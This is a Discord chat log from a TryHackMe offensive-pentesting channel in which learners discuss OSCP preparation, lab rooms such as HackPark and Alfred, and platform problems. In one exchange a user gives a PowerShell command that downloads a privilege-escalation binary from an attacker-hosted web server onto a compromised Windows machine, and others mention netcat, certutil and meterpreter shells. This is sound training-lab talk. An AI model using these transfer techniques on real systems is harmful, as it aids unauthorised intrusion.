#offensive-pentesting-path | TryHackMe | Page 5

desert bloom Feb 25, 2020, 4:01 PM

#

also, on the question " What user was running the web server?" did anyone find that confusing? I eventually figured it out, but, I took that question to mean who owned the running process...probably overthinking it

rigid gyro Feb 25, 2020, 4:01 PM

#

yeah i had to submit a few 😄

crimson flame Feb 25, 2020, 6:20 PM

#

Side note, I'll need to make a part 2 for that room whenever I can get GMON to work

hidden rivet Feb 25, 2020, 6:28 PM

#

Anyone else having the issue where the "Proving It" category shows as unfinished even though all the rooms are 100% in that section?

spark iron Feb 25, 2020, 6:30 PM

#

Can you send a screenshot?

hidden rivet Feb 25, 2020, 6:31 PM

#

Want a DM of it?

slim flower Feb 25, 2020, 7:07 PM

#

Anyone got issue with VPN today? I am not able to ping machines

chrome valve Feb 25, 2020, 7:08 PM

#

Been fine for me @slim flower
Are you using Linux?

#

Also, this conversation would be better over in #site-support

slim flower Feb 25, 2020, 7:08 PM

#

Kali on my Vmware, windows on my Vmware and also tried tryhack kali machine (online one)

chrome valve Feb 25, 2020, 7:08 PM

#

Mind switching over there?

slim flower Feb 25, 2020, 7:08 PM

#

none of them worked

gentle glade Feb 25, 2020, 9:47 PM

#

@spark iron are you available for a issue i am experiencing with hackmountain

hasty sentinel Feb 25, 2020, 10:47 PM

#

drop me a DM @gentle glade :))

fathom rapids Feb 25, 2020, 11:11 PM

#

hi all, I just finished kenobi but I m missing something in priv esc. someone who can give me some explanation?

chrome valve Feb 25, 2020, 11:14 PM

#

@fathom rapids If you DM me with what you did, I'll explain it to you

normal sluice Feb 26, 2020, 3:05 AM

#

Anybody having any issues with getting HackPark to deploy?

plucky cedar Feb 26, 2020, 5:11 AM

#

I have an issue with Alfred. Anbody else? Exploit is not returning shell. (solved: https://www.pwndefend.com/)

robust loom Feb 26, 2020, 9:02 AM

#

@spark iron https://tryhackme.com/room/windowsbof

📎 unknown.png

chrome valve Feb 26, 2020, 9:13 AM

#

Might be worth mentioning which room that is @robust loom

robust loom Feb 26, 2020, 9:24 AM

#

Updated 🙂

toxic temple Feb 26, 2020, 9:36 AM

#

I think that's Spopy's room, and it's being fixed atm

robust loom Feb 26, 2020, 9:44 AM

#

@toxic temple it is but he said to "speak" to skidy 😉

honest jackal Feb 26, 2020, 11:30 AM

#

Hello all anyone rooted Alfred without meterpreter?

#

I'm trying with powersploit

#

No chance there

weary briar Feb 27, 2020, 12:38 AM

#

Question everyone. In OSCP, if one buys the course, do you own the training material and videos, and is it possible to review again after subscription expires? Or if review is necessary, do I need to buy the course again?

#

Sorry, I need to clarify. I am talking about the OSCP material.

spark iron Feb 27, 2020, 12:40 AM

#

Oh

#

Gotcha

weary briar Feb 27, 2020, 12:40 AM

#

😆

toxic temple Feb 27, 2020, 12:40 AM

#

Yes, you can download the course PDF, and view the videos (maybe download them? I'm not sure on that one)

#

You own them as they have your name plastered all over them

weary briar Feb 27, 2020, 12:42 AM

#

OK, that's good. Just like Cisco ebooks, they have my name on them. Perfectly OK with that since I wasn't planning on sharing it!
I am doing the ePTS (along with THM) and eLearn allows me to read and view the videos offline. i wanted to know if OSCP is the same way.

ebon basin Feb 27, 2020, 4:55 AM

#

Ahh name is on it

#

I was wondering why PWK pdf hasnt been leaked lol

toxic temple Feb 27, 2020, 5:19 AM

#

Yeah

#

It has your name, student ID and other stuff on it, so they can trace it back pretty easily

rigid gyro Feb 27, 2020, 6:01 AM

#

so i found a mistake, i ran nmap with -p- on kenobi and found X number of ports, the room expected Y number of ports, I could not have guessed without looking at the hint for the limited command that was expected i run. that being said, this is awesome and affordable and thank you

burnt walrus Feb 27, 2020, 8:01 AM

#

@weary briar yea they give out all the materials offline

honest jackal Feb 27, 2020, 9:12 AM

#

Hello all anyone rooted Alfred without meterpreter?
Anyone?

frail vine Feb 27, 2020, 9:10 PM

#

so i found a mistake, i ran nmap with -p- on kenobi and found X number of ports, the room expected Y number of ports, I could not have guessed without looking at the hint for the limited command that was expected i run. that being said, this is awesome and affordable and thank you
@rigid gyro i found a few of the port questrions had different results....

#

i did however mis-read one of them

rigid gyro Feb 27, 2020, 9:11 PM

#

yeah some few things herer and there, but overall i am very pleased, just needs a little polish

robust loom Feb 27, 2020, 9:16 PM

#

there is one question regarding num of open ports in Brainstorm which doesn't take the correct number

rigid gyro Feb 27, 2020, 9:17 PM

#

you stalking me @robust loom 😉

#

jk buddy

robust loom Feb 27, 2020, 9:17 PM

#

u know I am MAD

#

ehm you're mad 😉

rigid gyro Feb 27, 2020, 9:17 PM

#

there you go

desert bloom Feb 28, 2020, 1:05 AM

#

just finished kenobi - very cool little lab

dense mural Feb 28, 2020, 3:47 PM

#

Hey ! Just enrolled into the OSCP path (& Tryhackme in general), passed the first room quite easily ^-^ Anyone who passed OSCP can testify of how usefull the path was ? I have 10 weeks to prepare & took a 2 months lab but I'm a nervous kind

final vault Feb 28, 2020, 3:52 PM

#

If you’ve already booked the path is useful but pwk labs will do you better as they are the official labs for oscp

dense mural Feb 28, 2020, 5:32 PM

#

Yeah sure, I don't expect the path to "replace" the actual training

frail vine Feb 28, 2020, 5:49 PM

#

the path is a good aid to get people moving. it's more guided than the PWK is

glass saddle Feb 29, 2020, 6:13 AM

#

yes i can echo the goodness.....i just spent three months in the PWK lab and it was nice to rejog the memory on some things before my exam....the VMs keep crashing on me though....its really frustrating. Don't think the servers are capable of the increased load thats been put on them recently with the rapid growth of the platform. Put in a feedback ticket and the CEO emailed me directly and promptly....which was very cool.. The issue hasn't been resolved but its nice to know that my feedback went noticed at all. kudos on the customerservice piece. Carries a lot of weight imo.

spark iron Feb 29, 2020, 11:51 AM

#

If you’ve already booked the path is useful but pwk labs will do you better as they are the official labs for oscp
@final vault Oh nice dude, did Nick give in and purchase it for you?

final vault Feb 29, 2020, 12:53 PM

#

I wish 😭

strong jetty Feb 29, 2020, 10:02 PM

#

Did anyone find the root.txt file on Alfred?

haughty relic Feb 29, 2020, 10:39 PM

#

anyone have any resources on uploading files via netcat once I have a reverse shell established? Trying to avoid meterpreter

chrome valve Feb 29, 2020, 10:43 PM

#

Once you've got a reverse shell there are a bunch of ways you can do it @haughty relic. Can you use wget?

haughty relic Feb 29, 2020, 10:48 PM

#

hmm let me see

#

nah

#

the problem is that my target is windows

chrome valve Feb 29, 2020, 10:49 PM

#

Ah. Curl should be installed by default on Windows

#

Try it?

haughty relic Feb 29, 2020, 10:49 PM

#

hmm nope no curl either

chrome valve Feb 29, 2020, 10:50 PM

#

Which box is it? I'll check my notes and see if I've done it

fleet wedge Feb 29, 2020, 10:50 PM

#

You can use nc to receive files

chrome valve Feb 29, 2020, 10:51 PM

#

That... would be the obvious solution. Ta @fleet wedge 🤦‍♂️

strong jetty Feb 29, 2020, 10:52 PM

#

or powershell

cobalt sigil Feb 29, 2020, 10:52 PM

#

I'm having some issues with gamezone

fleet wedge Feb 29, 2020, 10:52 PM

#

Yeah powershell iwr would work to

cobalt sigil Feb 29, 2020, 10:52 PM

#

it sometimes freezes the connection and gets my ssh stuck

haughty relic Feb 29, 2020, 10:53 PM

#

yeah no nc

#

i will look into powershell tho

fleet wedge Feb 29, 2020, 10:53 PM

#

Is your attacker a linux box @haughty relic

haughty relic Feb 29, 2020, 10:53 PM

#

ya

#

kali

fleet wedge Feb 29, 2020, 10:53 PM

#

You can host files using SimpleHTTPServer

#

And use powershell iwr <your ip>/<file> -OutFile <what you want to save the file as>

haughty relic Feb 29, 2020, 10:55 PM

#

ok, cool. Thanks for that, super useful

fleet wedge Feb 29, 2020, 10:55 PM

#

Something like powershell iwr 10.10.10.10/privesc.exe -OutFile privesc.exe

#

Np :)

haughty relic Feb 29, 2020, 10:56 PM

#

my windows game is super weak

fleet wedge Feb 29, 2020, 10:56 PM

#

Yeah it helps to know some powershell commands

#

https://underthewire.tech/ can help you learn the basics @haughty relic

Under The Wire | PowerShell Training for The People

haughty relic Feb 29, 2020, 10:57 PM

#

awesome ty

#

will check it out

haughty relic Mar 1, 2020, 12:42 AM

#

aaah powershell iwr is successfully hitting my webserver, server is registering a call, returning 200, but for some reason the file isnt presetn on the windows box afterwards

#

anyways not asking for help, just venting lol

fleet wedge Mar 1, 2020, 12:43 AM

#

Do you have write perms to the directory you're in @haughty relic

#

If you don't have write perms it won't save

haughty relic Mar 1, 2020, 12:45 AM

#

yeah that was my thought, trying to figure out windows permissions rn

#

icacls

fleet wedge Mar 1, 2020, 12:46 AM

#

You can do echo test > file

#

Then check if the file is there

haughty relic Mar 1, 2020, 12:48 AM

#

ty, will try that

haughty relic Mar 1, 2020, 1:49 AM

#

figured out what I need btw

#

got root right when my machine expired before I could get the flag tho so I just took a break lol

#

this machine has been killing me all day

#

god help me on oscp

haughty relic Mar 1, 2020, 2:07 AM

#

finally done with hackpark

#

what a journey

fleet wedge Mar 1, 2020, 2:15 AM

#

Good job! @haughty relic

final vault Mar 1, 2020, 7:13 AM

#

I just hit lucky, think I'm paying for oscp and starting it asap

toxic temple Mar 1, 2020, 7:16 AM

#

Bounty?

final vault Mar 1, 2020, 7:17 AM

#

Yeah

toxic temple Mar 1, 2020, 7:17 AM

#

ayy

final vault Mar 1, 2020, 7:17 AM

#

Really wanna get disclosure for this but doubt I will

toxic temple Mar 1, 2020, 7:18 AM

#

h1?

final vault Mar 1, 2020, 7:18 AM

#

yeah

toxic temple Mar 1, 2020, 7:18 AM

#

gl on that one kekw

final vault Mar 1, 2020, 7:18 AM

#

5k critical

#

Yeah they're terrible for disclosure

toxic temple Mar 1, 2020, 7:19 AM

#

Can't wait for the "Marked as duplicate" 2 days later

final vault Mar 1, 2020, 7:19 AM

#

No I mean it just went through to triage

#

waiting on payment now

toxic temple Mar 1, 2020, 7:19 AM

#

Ah

#

You got lucky then

final vault Mar 1, 2020, 7:20 AM

#

Yeah I'm not sure I believe this yet

#

I was literally about to go to sleep as I hadn't heard anything

#

and have work in like 5 hours

rigid gyro Mar 1, 2020, 1:22 PM

#

is harkpark a bit unstable?

terse herald Mar 1, 2020, 2:08 PM

#

Fingers crossed @final vault that's a mighty nice find if so!! gratzz

final vault Mar 1, 2020, 2:10 PM

#

Yeah waiting on payment to clear and I’ll be jumping onto the oscp hype train

toxic temple Mar 1, 2020, 2:14 PM

#

You could book OSCE at the same time kekw

final vault Mar 1, 2020, 2:27 PM

#

Think I’ll fail oscp before I go for failing that too

toxic temple Mar 1, 2020, 2:30 PM

#

I've considered getting the one before OSCP as a meme

#

KLCP or whatever it's called

haughty relic Mar 1, 2020, 2:53 PM

#

morning all

toxic temple Mar 1, 2020, 2:53 PM

#

o/

haughty relic Mar 1, 2020, 2:54 PM

#

Anyone working on steel mountain rn?

desert bloom Mar 1, 2020, 11:19 PM

#

Hackpark is one @#$%#$%!@ frusrating box...if this is anything like oscp I am doomed 😫

desert bloom Mar 2, 2020, 12:06 AM

#

I can get as far as a windows shell using the exploit but get completely stuck on transfering files over to the windows host via netcat session. When I think I've maybe uploaded the file I suddenly start seeing incessant scrolling like this and can't get anything done:

📎 unknown.png

#

I then have to redeploy and bang my head at this point again

haughty relic Mar 2, 2020, 1:41 AM

#

just finished hackpark yesterday

#

i used powershell rather than netcat

#

just finished steel mountain! 😄

fleet wedge Mar 2, 2020, 1:52 AM

#

You on a roll @haughty relic

#

Have a shibe of encouragement

📎 nmdp6d4jugj41.jpg

desert bloom Mar 2, 2020, 2:45 AM

#

I've also seen mentions of powershell, but, how are folks leveraging it for hackpark?

#

nm I think I see

#

BOOM

fleet wedge Mar 2, 2020, 2:56 AM

#

You do it @desert bloom?

desert bloom Mar 2, 2020, 2:56 AM

#

yep - had to find a writable directory 🙂

fleet wedge Mar 2, 2020, 2:56 AM

#

Good job!

desert bloom Mar 2, 2020, 2:56 AM

#

thanks!

fleet wedge Mar 2, 2020, 2:57 AM

#

📎 z76prqd1j4k41.png

#

@desert bloom you get a shibe of encouragement

haughty relic Mar 2, 2020, 3:15 AM

#

haha ty

#

anyone have a hint for guessing the password on alfred?

haughty relic Mar 2, 2020, 3:40 AM

#

figured it out, definitely learning some painful lessons but hopefully will get better and bertter

fleet wedge Mar 2, 2020, 3:43 AM

#

The pain means that you're learning! @haughty relic

desert bloom Mar 2, 2020, 4:28 AM

#

took copious notes on HackPark - it was worth the frustration, but, walking away from it for 3 hours helped!

desert bloom Mar 2, 2020, 5:12 AM

#

Only lingering question was Task 4, Q 3. I made a really good guess on the answer, but, if anyone can help me understand was was 'abnormal' about that service, I'd love to know the correct way to determine that. Finished the lab and my brain is tired. good night!

maiden aurora Mar 2, 2020, 10:26 AM

#

Sheeeb

autumn field Mar 2, 2020, 5:58 PM

#

Hi All, has anyone here done Buffer Overflows room, have a quick question regarding task8

hard shoal Mar 2, 2020, 6:17 PM

#

Im attempting them now

#

I got so far on the second one but got stuck on the first one.

short jacinth Mar 2, 2020, 6:25 PM

#

OFFSEC security updated their OSCP exam and it looks like Metasploit is on the syllabus. Is Metasploit still banned for the OSCP exam?

hard shoal Mar 2, 2020, 9:00 PM

#

I don't think the Exam has been updated only the course material. As far as I am aware the rules still apply about the usage of Metasploit in the exam.

hasty sentinel Mar 2, 2020, 9:43 PM

#

we'll be updating the OSCP path to change the use of metasploit to suite the syllabus more

haughty relic Mar 3, 2020, 1:22 AM

#

thank you, i did notice that a lot of the labs ask you to use meterpreter/metasploit. It would be nice if the manual exploit was explained as well since we can only use msf/meterpreter once in the exam

haughty relic Mar 3, 2020, 2:35 AM

#

anyone here complete alfred manually or did yall use metasploit?

final vault Mar 3, 2020, 11:56 AM

#

Have to agree on that. Don’t get people into bad habits with the path or it may backfire on some people

toxic temple Mar 3, 2020, 11:58 AM

#

Probably a result of backporting standalone rooms for the path

rancid canyon Mar 3, 2020, 2:36 PM

#

@autumn field did you figure out task 8? i'm stuck

autumn field Mar 3, 2020, 2:56 PM

#

@rancid canyon same. since yesterday haven't done much. I think I'm missing out something, during the debugging I see that the instructions are executed, but during the run-time it still segfaults. I'm using gdb with unset variables.

rancid canyon Mar 3, 2020, 3:03 PM

#

i can get a shell without segfaulting but it doesn't do what it needs to do

autumn field Mar 3, 2020, 3:13 PM

#

in my case, when a provided payload syscall instruction is executed (during debugging) nothing happens and it continues executing the instructions until it bumps into AA..'s , so I thought if the address is correct, during the run-time it bumps into AA..'s. However if the address is wrong, then it fails because I'm pointing to a wrong location. I'm trying to figure out whether I'm actually using correct address :)) Will look into it again in few hours

rancid canyon Mar 3, 2020, 3:15 PM

#

If you're segfaulting it probably means your return address is wrong (assuming your shellcode is valid). I found a script that helps keep the env consistent when invoking the program with and without gdb, that way the return address you find in gdb will work when running without gdb. DM me if you want that hint.

minor oyster Mar 3, 2020, 3:38 PM

#

some one can help with alfred machine?

hard shoal Mar 3, 2020, 4:20 PM

#

@minor oyster What are you stuck on ?

minor oyster Mar 3, 2020, 4:24 PM

#

but , where do you find the flag

#

I don't find in C:\windows\system32\config

hard shoal Mar 3, 2020, 6:05 PM

#

I could not find it either so asked in the main room channel. https://discordapp.com/channels/521382216299839518/522158539129618453/682958335980339221

hidden rivet Mar 4, 2020, 4:04 PM

#

@minor oyster try migrating processes. Even if you're NT SYSTEM, that process itself may not have full privs

grave patio Mar 4, 2020, 4:20 PM

#

Hackpark is so frustrating. I cant get my meterpreter shell transferred. This box is so borked 🙄🙄

hidden rivet Mar 4, 2020, 4:20 PM

#

What bit ya stuck on?

grave patio Mar 4, 2020, 4:46 PM

#

Getting an upgraded meterpreter shell. I FINALLY got the shell.exe transferred over to the windows box and now it just wont execute. I have the meterpreter listener running on my machine, but the meterpreter payload that I transferred to the victim machine just doesnt do anything with I try to execute it

hidden rivet Mar 4, 2020, 4:46 PM

#

Feel free to DM me too if you wanna provide screenshots of what you've tried and what's not working

hasty sentinel Mar 4, 2020, 11:30 PM

#

@everyone
sorry for the massive ping - we want to collect feedback on the path. We know that various rooms have had particular issues and we want to aggregate those issues and fix the rooms as quickly as we can. We'll be releasing a better way for keeping track of issues on room (but we'll use this for now)
Please take a few minutes to fill in this feedback form:
https://forms.gle/HeN5BgaKXrkJnaL49
We'd also love to hear your thoughts about the OSCP pathway in general and how it has/hasn't helped you
btw: we're also giving $50 (randomly allocated) to someone who completes the survey
If you have more comments, feel free to get in touch with me 🙂

Google Docs

OSCP Path Feedback

We want to ensure that all the machines on this path are of high quality and that completing this path meets the objectives of the OSCP. Please take a few minutes to fill in this form to help us improve the path. We'll be awarding a random winner $50 to complete the survey.

gritty jungle Mar 4, 2020, 11:32 PM

#

i can fill after oscp exam ty

fleet wedge Mar 4, 2020, 11:32 PM

#

Freak off 😠

toxic temple Mar 4, 2020, 11:32 PM

#

Um, @hasty sentinel , how do you plan on getting a hold of people who fill out the form?

north quail Mar 4, 2020, 11:33 PM

#

yeah lol

hasty sentinel Mar 4, 2020, 11:33 PM

#

GOOD POINT OOPS

#

adding that in now

chrome valve Mar 4, 2020, 11:33 PM

#

Haha! 😁

fleet wedge Mar 4, 2020, 11:33 PM

#

Lollll

hidden rivet Mar 4, 2020, 11:33 PM

#

Wish there was an option of “did not take exam”. Now you’re getting an answer saying the path didn’t help me haha

fleet wedge Mar 4, 2020, 11:33 PM

#

Ahsu when will you add a profile picture

north quail Mar 4, 2020, 11:33 PM

#

that question is optional

hidden rivet Mar 4, 2020, 11:34 PM

#

Oh, derp. Well sorry for the bad addition to the stats

hasty sentinel Mar 4, 2020, 11:34 PM

#

added

toxic temple Mar 4, 2020, 11:34 PM

#

capital w reeeeeeeee

hasty sentinel Mar 4, 2020, 11:34 PM

#

aha i'm not sure what to put for my profile picture

chrome valve Mar 4, 2020, 11:34 PM

#

A profile picture, or the question @hasty sentinel? 😁

#

Right, we gotta find Ashu a profile picture. Shibe @fleet wedge?

hidden rivet Mar 4, 2020, 11:35 PM

#

So should the form be filled out a second time if you filled it out without the question of your username?

#

I guess only if I want a chance for the $ yeah?

hasty sentinel Mar 4, 2020, 11:36 PM

#

fill it out again just in case

#

OMG SHIBES!!

chrome valve Mar 4, 2020, 11:36 PM

#

Hehe, go look in #creators-lounge Ashu...

toxic temple Mar 4, 2020, 11:36 PM

#

What about Wallace from Wallace and Gromit

chrome valve Mar 4, 2020, 11:37 PM

#

Or Gromit from Wallace and Gromit?

hasty sentinel Mar 4, 2020, 11:39 PM

#

what's that hmm

fleet wedge Mar 4, 2020, 11:42 PM

#

@chrome valve ofc

#

@hasty sentinel you want a shibe pfp?

chrome valve Mar 4, 2020, 11:43 PM

#

@fleet wedge Please, please, please add a !shibe into the bot...

fleet wedge Mar 4, 2020, 11:43 PM

#

I'll add a !spaniel too

chrome valve Mar 4, 2020, 11:43 PM

#

Yes!!

#

Gotta make sure that there's nothing weird on Google Images first...

terse herald Mar 4, 2020, 11:44 PM

#

quickly adds something weird

fleet wedge Mar 4, 2020, 11:44 PM

#

I think it'll work

#

Where I have a bunch of spaniel.pics

#

In a dir

#

And the bot chooses a random one

chrome valve Mar 4, 2020, 11:44 PM

#

Aye, that's the safe option...

fleet wedge Mar 4, 2020, 11:44 PM

#

I dun trust google images 😂😂

chrome valve Mar 4, 2020, 11:45 PM

#

I need to take a look at the bot code actually. Never tried Discord botdev. Might setup a server just to give it a shot 😁

#

Uh, yeah, point...

fleet wedge Mar 4, 2020, 11:45 PM

#

@restive hamlet u got any shibe pics?

terse herald Mar 4, 2020, 11:46 PM

#

@chrome valve It is scarily easy. Never touched the API and made an UwU-ifier in <30 minutes at a workshop at a hackathon

fleet wedge Mar 4, 2020, 11:46 PM

#

Yeah discord libs are really really easy

chrome valve Mar 4, 2020, 11:46 PM

#

Hmm. Definitely worth looking into then 😁

fleet wedge Mar 4, 2020, 11:46 PM

#

If you know python you can do just about anything

chrome valve Mar 4, 2020, 11:46 PM

#

Might look at the TryHackMe bot. It's on Github right?

fleet wedge Mar 4, 2020, 11:46 PM

#

Mhm

chrome valve Mar 4, 2020, 11:46 PM

#

First language 😁

fleet wedge Mar 4, 2020, 11:46 PM

#

You want the bot-dev role

chrome valve Mar 4, 2020, 11:47 PM

#

That an offer or a statement? 😄

fleet wedge Mar 4, 2020, 11:47 PM

#

Yes

terse herald Mar 4, 2020, 11:47 PM

#

lmao

fleet wedge Mar 4, 2020, 11:47 PM

#

😁

chrome valve Mar 4, 2020, 11:47 PM

#

That... didn't answer the question 🤦‍♂️ 😁

fleet wedge Mar 4, 2020, 11:48 PM

#

Well

#

Put it this way

#

You have the role now

#

@chrome valve

terse herald Mar 4, 2020, 11:48 PM

#

woah

chrome valve Mar 4, 2020, 11:48 PM

#

Well, that works too 🤷‍♂️
Thanks Pars. I'll go have a look

terse herald Mar 4, 2020, 11:48 PM

#

Proves if you don't ask you don't get lmao

chrome valve Mar 4, 2020, 11:49 PM

#

I didn't ask...
Still got 😁

terse herald Mar 4, 2020, 11:49 PM

#

all you gotta do now is submit a PR fixing one whitespace or something

#

just make sure you leave enough grammar mistakes for the rest of us to fix :^

restive hamlet Mar 5, 2020, 12:30 AM

#

@fleet wedge no?

fleet wedge Mar 5, 2020, 12:31 AM

#

Dm mar and get.me.some shibes pls @restive hamlet

#

:)

restive hamlet Mar 5, 2020, 12:31 AM

#

Why don't you

fleet wedge Mar 5, 2020, 12:31 AM

#

Uh

#

Let's go to #thm-community-media @restive hamlet

desert bloom Mar 5, 2020, 2:48 AM

#

Steel Mountain Done...wondering if I should have done the easier rooms in the "proving it" section first before trying Hackpark 🤔

fierce thunder Mar 5, 2020, 7:24 AM

#

anyone web pentesting professional?

fleet wedge Mar 5, 2020, 8:04 AM

#

A little bit

#

I never call myself professional 🤔

orchid jasper Mar 5, 2020, 8:50 AM

#

hey anyone can help me with hackpark? just have some questions 🙂

fathom rapids Mar 5, 2020, 9:04 AM

#

hey anyone can help me with hackpark? just have some questions 🙂
@orchid jasper I complete it except for the question 4, task4. so fell free to ask me anything

fathom rapids Mar 5, 2020, 9:46 AM

#

mmm anyone who completed Steel Mountain can clarify one point to me?

hot shoal Mar 5, 2020, 2:41 PM

#

hey all, new member here, starting oscp labs Saturday (3rd attempt), htb member. anyone else get here from John Hammond's vids? lol

fleet wedge Mar 5, 2020, 3:26 PM

#

hey all, new member here, starting oscp labs Saturday (3rd attempt), htb member. anyone else get here from John Hammond's vids? lol
@hot shoal i don't have money enough for take the course haha

hard shoal Mar 5, 2020, 4:02 PM

#

Has anyone done the OSCP Path and did it help with the OSCP exam ?

normal knoll Mar 5, 2020, 5:47 PM

#

My exam is in a month and I am about 50% through the path right now, i will let you know lol

alpine peak Mar 5, 2020, 5:53 PM

#

@hard shoal Do the path without ever looking at a writeup, and you have a high chance

#

Also don't use metasploit ever

hard shoal Mar 5, 2020, 5:54 PM

#

Cool thanks

shell yarrow Mar 5, 2020, 8:09 PM

#

I did OSCP exam twice. This is really helpful!

#

@hard shoal

hard shoal Mar 5, 2020, 8:21 PM

#

Got my exam soon so anything that help me prep is awesome.

normal sluice Mar 5, 2020, 10:58 PM

#

I didn’t complete the OSCP path, but I start PWK labs this Saturday.

alpine peak Mar 5, 2020, 11:11 PM

#

nice!

fleet wedge Mar 5, 2020, 11:11 PM

#

@normal sluice good luck!

glass saddle Mar 6, 2020, 6:45 PM

#

@grave patio try certutil ....worked for me...i didn't use meterpreter

#

though

fleet wedge Mar 6, 2020, 11:30 PM

#

Pm if need help for hackpark any1

alpine peak Mar 6, 2020, 11:41 PM

#

sure @fleet wedge

haughty ruin Mar 7, 2020, 8:06 AM

#

I am trying to start hackpark but I can not access it. Not even after waiting 5 minutes.

#

nevermind, I was to impatiant i guess, I got a connection now

fathom rapids Mar 7, 2020, 9:01 AM

#

Pm if need help for hackpark any1
@fleet wedge01#3602 dm me, I completed it except for task 4, question4

#

sure @fleet wedge
@alpine peak did you answer to question 4, task 4?

spark iron Mar 7, 2020, 10:40 AM

#

I am trying to start hackpark but I can not access it. Not even after waiting 5 minutes.
@haughty ruin You should do, are you connected to the VM?

fathom rapids Mar 7, 2020, 11:15 AM

#

gamezone.
trying to crack the hash I receive this output: No password hashes left to crack (see FAQ)
do you know why

fleet wedge Mar 7, 2020, 11:28 AM

#

any linux masters here

chrome valve Mar 7, 2020, 12:07 PM

#

What do you mean by linux master @fleet wedge?

#

If you've got a (relevant) question, feel free to just stick it in the chat.

fleet wedge Mar 7, 2020, 12:14 PM

#

I dont know how to solve a mission in linux

#

📎 unknown.png

#

and my ssh connection is not working anymore through putty?maybe anyone ca check ?

spark iron Mar 7, 2020, 12:15 PM

#

Are you defo connected?

#

Do you have two VPN's running?

#

Is the machine still alive and up?

fleet wedge Mar 7, 2020, 12:15 PM

#

nope

#

the machine got disconnected

#

and i am only using openvpn

spark iron Mar 7, 2020, 12:16 PM

#

http://tryhackme.com/room/openvpn

TryHackMe | openvpn

TryHackMe is an online platform for learning and teaching cyber security.

#

Deploy that room and access the web server

#

Just to double check its not you 🙂

fleet wedge Mar 7, 2020, 12:18 PM

#

its not starting after clicking on deploy

spark iron Mar 7, 2020, 12:18 PM

#

Try refreshing the page

fleet wedge Mar 7, 2020, 12:18 PM

#

its the same issue as yesterday ,machine is not booting up

spark iron Mar 7, 2020, 12:19 PM

#

please try again

#

I am watching our logs

fleet wedge Mar 7, 2020, 12:19 PM

#

ok

#

i clicked once again on deploy

spark iron Mar 7, 2020, 12:20 PM

#

And it just hangs nothing happens?

fleet wedge Mar 7, 2020, 12:20 PM

#

only if i may have any other open sessions

spark iron Mar 7, 2020, 12:21 PM

#

Hm, strange.

#

Do you already have a machine running in that room?

fleet wedge Mar 7, 2020, 12:21 PM

#

nope

spark iron Mar 7, 2020, 12:21 PM

#

Whats your THM username?

fleet wedge Mar 7, 2020, 12:21 PM

#

xande30

spark iron Mar 7, 2020, 12:21 PM

#

Could you access the OpenVPN machine?

#

I can see you have that running atm

fleet wedge Mar 7, 2020, 12:22 PM

#

its on

spark iron Mar 7, 2020, 12:22 PM

#

Can you access the machine you deployed in the OpenVPN room?

fleet wedge Mar 7, 2020, 12:22 PM

#

no

#

its not booting up

spark iron Mar 7, 2020, 12:22 PM

#

Its showing me that the machine is running

#

Refreshthe page

#

Under the graph, there should be a red box that says "Active Machine Information"

fleet wedge Mar 7, 2020, 12:23 PM

#

📎 unknown.png

#

its on maybe

spark iron Mar 7, 2020, 12:23 PM

#

So go to 10.10.24.61

#

In your browser

fleet wedge Mar 7, 2020, 12:24 PM

#

done

#

i got the flag 🙂

spark iron Mar 7, 2020, 12:24 PM

#

Does it display?

#

Ah okay cool

#

Then you are connected to our network

#

Cool

fleet wedge Mar 7, 2020, 12:25 PM

#

yep

spark iron Mar 7, 2020, 12:25 PM

#

And what other room wont let you deploy?

fleet wedge Mar 7, 2020, 12:26 PM

#

let me try once again ,i see the ip changed

#

nope its not working

#

i need to perform this task

#

📎 unknown.png

#

not working

spark iron Mar 7, 2020, 12:28 PM

#

are you sure the ip is 10.10.10.10?

#

shiba1?

#

Who is that?

#

Screenshot the red "Active machine information" under the graph for this room

#

10.10.10.10 doesn't exist

#

You need touse the IP given to you in the Active Machine Information

fleet wedge Mar 7, 2020, 12:37 PM

#

ok

#

📎 unknown.png

spark iron Mar 7, 2020, 12:38 PM

#

Screenshot the red "Active machine information" under the graph for this room

#

Please do this ^^

#

ah ok

#

so the ip is

#

10.10.24.61

#

are you sure the username is correct?

fleet wedge Mar 7, 2020, 12:39 PM

#

thats the one i chose

spark iron Mar 7, 2020, 12:39 PM

#

You can't choose a username, it has to be on that is set up

fleet wedge Mar 7, 2020, 12:40 PM

#

📎 unknown.png

spark iron Mar 7, 2020, 12:41 PM

#

ah ok, my bad

#

Can you link me the room please?

#

I thought you were doing another room

fleet wedge Mar 7, 2020, 12:41 PM

#

https://tryhackme.com/room/zthlinux

TryHackMe | zthlinux

TryHackMe is an online platform for learning and teaching cyber security.

chrome valve Mar 7, 2020, 12:43 PM

#

@fleet wedge that room is funny with PuTTY

#

When you connect to it, try just putting the IP in then clicking enter

fleet wedge Mar 7, 2020, 12:44 PM

#

it worked a whil ,then it just disconnected me

chrome valve Mar 7, 2020, 12:44 PM

#

It will prompt you for a username afterwards.

#

Huh, that, is more unusual

fleet wedge Mar 7, 2020, 12:44 PM

#

i tried both ways

#

none of them is working

fringe pasture Mar 7, 2020, 1:59 PM

#

theres no deploy option

#

for room

#

?

#

its a free room

#

wheres the ip and deploy ?

spark iron Mar 7, 2020, 2:00 PM

#

Does the room have a machine to deploy?

fringe pasture Mar 7, 2020, 2:01 PM

#

idk

#

its learn linux zth

#

tryhackme.com/room/zthlinux

#

i cant find deploy option as the questions we need to interact with the machine

spark iron Mar 7, 2020, 2:04 PM

#

On task 1

#

📎 Screen_Shot_2020-03-07_at_14.04.28.png

#

Its on task 1

fringe pasture Mar 7, 2020, 2:04 PM

#

yes

#

i skipped it xdd

#

tqsm

spark iron Mar 7, 2020, 2:06 PM

#

🙂

fringe pasture Mar 7, 2020, 2:40 PM

#

hey in that the last one do i have to do the priv esc ?

#

like linpeas... ?

#

@spark iron

chrome valve Mar 7, 2020, 2:41 PM

#

@fringe pasture Is this zthlinux?

fringe pasture Mar 7, 2020, 2:41 PM

#

yea

terse herald Mar 7, 2020, 2:41 PM

#

All the commands you need to find the flag are in the room - no priv esc necessary 🙂

fleet wedge Mar 7, 2020, 2:42 PM

#

Mhm

chrome valve Mar 7, 2020, 2:42 PM

#

Yes, you need to do a privesc (of sorts) but it's not a vulnerability per se

#

All the tools you need are already in the room

fringe pasture Mar 7, 2020, 2:42 PM

#

like linpeas ?

chrome valve Mar 7, 2020, 2:42 PM

#

Nope

fleet wedge Mar 7, 2020, 2:42 PM

#

No

#

The text of the task says

chrome valve Mar 7, 2020, 2:42 PM

#

Literally just what Pars was teaching you

fleet wedge Mar 7, 2020, 2:42 PM

#

Everything you need is in that room

fringe pasture Mar 7, 2020, 2:42 PM

#

yea they say the flag is /root/root.txt

